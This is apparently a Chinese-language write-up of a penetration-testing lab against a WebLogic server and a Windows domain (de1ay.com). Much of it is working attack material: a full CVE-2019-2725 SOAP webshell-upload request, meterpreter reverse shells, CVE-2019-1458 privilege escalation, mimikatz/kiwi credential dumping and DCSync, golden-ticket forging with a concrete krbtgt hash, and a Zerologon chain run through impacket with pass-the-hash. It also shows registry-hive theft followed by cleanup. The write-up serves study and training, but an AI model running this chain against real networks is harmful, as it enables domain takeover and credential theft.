# 环境搭建

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
前置操作
在这里插入图片描述访问 192.168.147.80:7001/console 进行加载配置
至此环境搭好了

# 拿下边界服务器

第一步信息收集,nmap 开扫,发现存在 weblogic 服务
在这里插入图片描述上 weblogicscan,发现漏洞 cve-2019-2725

在这里插入图片描述利用 cve-2019-2725 进行 webshell 上传,上传后 webshell 路径为
http://192.168.147.80:7001/bea_wls_interna/webshell.jsp
值的注意的是,这里要用 POST 方式,且 HTTP 头中需要有 content-type: text/xml。否则会爆 500 错误

payload:

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.147.80:7001
Content-Length: 3260
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string><void method="println"><string><![CDATA[
复制Webshell到此处
]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述

上传哥斯拉 webshell,获取 webshell 后,联动 msf 使用了哥斯拉自带的 java 回弹 shell 发现没有 getsystem 等命令,从万能的百度中得出答案很可能是载荷问题,这里用的是哥斯拉自带的的 set payload java/meterpreter/reverse_tcp,为了避免出现更多的其他问题,这里新生成 windows/x64/meterpreter/reverse_tcp 的载荷,做个分离免杀,上传到目标机器,并通过哥斯拉的虚拟终端执行,成功获得回弹 shell。

在这里插入图片描述在这里插入图片描述

# 域渗透

<font color=#999AAA> 这里使用了两种不同的方法来获取域控

# 通过伪造黄金票据获取域控

首先,需要明白伪造金票的前提:

  1. 域名称
  2. 域的 SID 值 #通过 whoami /user 去掉最后横线的数字剩下的就是 SID
  3. 域的 KRBTGT 账户 NTLM-HASH (只有在域控中,或者是域内 Client 中才能导出 krbtgt 用户的 hash)
  4. 伪造的用户名,可以是任意用户名

这里加载 kiwi 模块来读取 web 服务器中的账号密码(mimikatz 已更新为 kiwi)

load mimikatz #或者 use kiwi 也行,效果是一样的

在这里插入图片描述

# 弯路

(因为第一次使用 kiwi,看网上说要在 system 权限下才能用,结果后来发现,system 下有些模块没法用,就比如 dcsync 模块和 kiwi 调用 mimikatz 读取 kerbtgthash 的命令就没法用,而在 Administrator 权限下则能正常使用。当然,读取密码等命令就需要在 system 下才能用。而这里就是踩坑的记录,不想看可跳转至直路)
因为 kiwi 需要 system 权限,因此我直接尝试 getsystem,但是并没有成功。于是打算手动提权。

# 手动提权

因为 kiwi 需要 system 权限,因此我直接尝试 getsystem,但是并没有成功。于是打算手动提权。
将 session 放到后台,使用 local_exploit_suggester 查询可用的 exp

background
use local_exploit_suggester
show options
set  session 4
run

在这里插入图片描述

从返回结果中发现有很多提权的漏洞能使用,这里用个最新的 cve-2019-1458,成功返回一个新的 shell 给我们,并且是 system,接着就是读密码了

use exploir/windows/local/cve_2019_1458_wizardopium
show options 
set session 4
set lport 5555#图有点问题,这里 4444 已经被占用了,因此要改成其他端口。当然不改也行,但是好像会顶掉前面的 msf shell。我这里就没改
run

在这里插入图片描述
在这里插入图片描述

# 加载 kiwi 模块读取密码明文

use kiwi
#使用 help kiwi 可以查看有什么命令
creds_all

在这里插入图片描述

在这里插入图片描述

成功获取域控密码。但这里主题是伪造票据,因此我们还不能结束。

# 读取 krbtgt 哈希

这里直接使用 kiwi_cmd 调用 mimikratz 抓 krbtgt 哈希出现问题,分析发现执行时,会把空格后的当作新命令,而不是参数。如图

在这里插入图片描述

百度一波,没找到原因(万能的百度倒下了)。打开小飞机,google 得出解决办法:使用转义符号 \ 转义双引号即可。
但又出现了新的问题,报出错误码 8439,只能继续 google,无果。后来知道这是因为 system 权限的原因。

在这里插入图片描述

只好上传 mikiratz 到目标机器上操作。(这里是通过 3389 操作的,使用命令 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 来打开 3389 端口,然后使用前面获取到的密码来登录)

成功获取制作票据的所有条件

lsadump::dcsync /domain:hacker.com /user:krbtgt

在这里插入图片描述

# 直路

我们的 msfshell 当前权限直接就是 Administrator
一条命令完事,成功获取所有前提

use kiwi
dcsync de1ay\\krbtgt#第一个 \ 是转义符号

在这里插入图片描述

# 伪造金票

总结我们获取的数据:
域 :de1ay.com
krbtgt hash :82dfc71b72a11ef37d663047bc2088fb
SID:S-1-5-21-2756371121-2868759905-3853650604
使用 kiwi 的金票伪造,在本地目录中可以找到票据。

# 生成票据

golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u Administrator -t //usr//mytool//888.ticket

在这里插入图片描述

# 向需要提权的计算机导入票据

这里以 w7 做实验对象。先给 w7 上传一个 msf 马,然后连接。

kerberos_ticket_use /usr/mytool/888.ticket

在这里插入图片描述

分别是导入前后的效果。成功访问,之前没权限访问的资源。
在这里插入图片描述

# 通过域内提权漏洞获取域控

上述操作的前提是受控计算机有 Administrator 权限,但现实中往往没那么顺利,比如域管如果没登录过这台机器,那我们上述操作就死在第一步了。于是回到最初,假设我们无法通过该机器获取域管账号及权限的前提来重新打一波。

这里从获取 webshell 及给 w2003server 上传 msf 马并获取 shell 开始。

前提:假设已经获取了 w2003 的权限并且开启了 3389,但是 w2003 无法获取域管账号及权限。

上传 nmap 到目标计算机进行内网扫描。

在这里插入图片描述

在这里插入图片描述

没发现有其他 web 或者数据库服务,只有 135、139、445 等端口,但又不想用 ms17-010 来操作。

突然想试试前阵子新出的漏洞 CVE-2020-1472。
同时上传 ew+frp 到目标机器上准备做内网穿透(内网穿透详情看之前写的 vulnstack1)

# CVE-2020-1472

原理:略
作用:可利用该漏洞将域控的计算机的机器账号密码置为控(!! 这里置空的不是用户账号),从而控制域控服务器

这里用到的 exp 有
1.https://github.com/dirkjanm/CVE-2020-1472 中的 cve-2020-1472-exploit.py(不知道是我操作问题还是还原密码脚本问题,死活还原不了,所以找了另一个大佬写的还原 exp 来用)
2.https://github.com/risksense/zerologon 中的 reinstall_original_pw.py(问题同上,置空一直失败)
3.impacket 工具包

# 复现过程

# 查看机器账号

从这里得知机器账号为 DC 也叫 netbios 名,加上 $ 就是机器名(主机名)。而 cve-2020-1472 置空的就是这个机器账号的密码

net view
#使用命令 net group "Domain Controllers" /domain 更好
#通过 ping 域名就能得到域控的 ip

在这里插入图片描述

# 使用攻击脚本置空密码

proxychains python3 /home/momo/桌面/cve/CVE-2020-1472-master/cve-2020-1472-exploit.py DC 10.10.10.10

在这里插入图片描述

# 使用空密码登录并导出域控中密码的 hash

这里是使用计算机机器帐户及其哈希进行身份验证然后从 NTDS.DIT 文件中远程 dump 域内所有密码哈希。
可见机器密码为空
这里 \ 是转义符;hash 值 31d6cfe0d16ae931b73c59d7e0c089c0 代表空

proxychains python3 secretsdump.py de1ay.com/DC\$@10.10.10.10 -no-pass

在这里插入图片描述

# 利用域管账号的 hash 进行连接

proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10

在这里插入图片描述

# 下载目标的 sam 文件为下一步恢复机器密码做准备

SAM 文件即账号密码数据库文件
(可能 sam 中的密码是在重启之后才会更新的?不然没法解释为什么还能找到原密码)
在 wmi shell 下执行下述命令,下载的 SAM 文件可在 impacket 的目录下的 examples 中找到

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

在这里插入图片描述
在这里插入图片描述

# 破解 sam 文件查看过去的机器密码

proxychains python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

在这里插入图片描述

# 恢复原密码

使用还原 exp 来还原密码

proxychains python3 /home/momo/桌面/cve/zerologon-master/reinstall_original_pw.py DC 10.10.10.10 76c7e90351db186f6bb846e57b03652f

在这里插入图片描述
在这里插入图片描述

至此,利用结束。此后我们就可以利用前面的域管 hash 来操控域控了。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10

在这里插入图片描述

更新于 阅读次数